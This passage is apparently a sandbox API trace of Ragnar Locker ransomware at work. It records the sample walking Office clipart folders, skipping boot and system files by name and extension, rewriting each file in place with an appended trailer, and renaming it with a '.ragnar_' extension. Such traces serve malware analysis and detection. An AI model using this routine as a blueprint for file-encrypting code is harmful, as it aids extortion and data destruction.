lpNewFilePointer=0x0) returned 1 [0082.187] GetProcessHeap () returned 0x580000 [0082.187] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.187] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.189] VirtualAlloc (lpAddress=0x0, dwSize=0x83c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.189] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x83c, lpOverlapped=0x0) returned 1 [0082.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.189] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x83c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.189] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x83c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x83c, lpOverlapped=0x0) returned 1 [0082.190] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x83c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.190] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.190] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x83c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.190] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.190] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.190] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.190] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.190] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.190] GetProcessHeap () returned 0x580000 [0082.190] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.190] CloseHandle (hObject=0xf4) returned 1 [0082.190] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" [0082.190] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.ragnar_FD7BD9FC" [0082.190] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.191] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0082.191] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.191] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00438_.WMF" | out: lpString1="FD00438_.WMF") returned="FD00438_.WMF" [0082.191] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned=".WMF" [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="autorun.inf") returned 1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="boot.ini") returned 1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="bootfont.bin") returned 1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="bootsect.bak") returned 1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="bootmgr") returned 1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="bootmgr.efi") returned 1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="desktop.ini") returned 1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="iconcache.db") returned -1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="ntldr") returned -1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="ntuser.dat") returned -1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="ntuser.ini") returned -1 [0082.191] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="thumbs.db") returned -1 [0082.191] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.191] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.191] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.192] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.192] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.192] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.192] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x20 [0082.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.192] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5098) returned 1 [0082.192] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.192] GetProcessHeap () returned 0x580000 [0082.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.192] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.193] VirtualAlloc (lpAddress=0x0, dwSize=0x13ea, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.194] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.194] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.194] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13ea, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13ea, lpOverlapped=0x0) returned 1 [0082.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.195] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.195] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13ea, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13ea, lpOverlapped=0x0) returned 1 [0082.195] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.195] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.195] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.195] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.195] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.195] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.195] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.195] GetProcessHeap () returned 0x580000 [0082.195] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.195] CloseHandle (hObject=0xf4) returned 1 [0082.196] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" [0082.196] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.ragnar_FD7BD9FC" [0082.196] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.196] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0082.196] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.196] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00455_.WMF" | out: lpString1="FD00455_.WMF") returned="FD00455_.WMF" [0082.196] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned=".WMF" [0082.196] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.196] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="autorun.inf") returned 1 [0082.196] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="boot.ini") returned 1 [0082.196] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="bootfont.bin") returned 1 [0082.196] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="bootsect.bak") returned 1 [0082.196] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="bootmgr") returned 1 [0082.196] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="bootmgr.efi") returned 1 [0082.196] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.196] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="desktop.ini") returned 1 [0082.196] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="iconcache.db") returned -1 [0082.196] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="ntldr") returned -1 [0082.196] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="ntuser.dat") returned -1 [0082.197] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.197] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="ntuser.ini") returned -1 [0082.197] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="thumbs.db") returned -1 [0082.197] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.197] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.197] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.197] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.197] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.197] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.197] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x20 [0082.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.197] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8926) returned 1 [0082.197] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x22d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.197] GetProcessHeap () returned 0x580000 [0082.197] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.197] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.199] VirtualAlloc (lpAddress=0x0, dwSize=0x22de, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.199] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.199] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.199] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x22de, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x22de, lpOverlapped=0x0) returned 1 [0082.200] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.200] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22de, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.200] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x22de, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x22de, lpOverlapped=0x0) returned 1 [0082.200] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22de, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.200] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.200] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x22de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.200] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.200] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.201] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.201] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.201] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.201] GetProcessHeap () returned 0x580000 [0082.201] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.201] CloseHandle (hObject=0xf4) returned 1 [0082.201] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" [0082.201] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.ragnar_FD7BD9FC" [0082.201] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.201] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0082.202] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.202] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00459_.WMF" | out: lpString1="FD00459_.WMF") returned="FD00459_.WMF" [0082.202] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned=".WMF" [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="autorun.inf") returned 1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="boot.ini") returned 1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="bootfont.bin") returned 1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="bootsect.bak") returned 1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="bootmgr") returned 1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="bootmgr.efi") returned 1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="desktop.ini") returned 1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="iconcache.db") returned -1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="ntldr") returned -1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="ntuser.dat") returned -1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="ntuser.ini") returned -1 [0082.202] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="thumbs.db") returned -1 [0082.202] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.202] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.202] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.202] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.202] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.202] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.202] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x20 [0082.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.203] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17406) returned 1 [0082.203] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x43f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.203] GetProcessHeap () returned 0x580000 [0082.203] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.203] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.205] VirtualAlloc (lpAddress=0x0, dwSize=0x43fe, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: 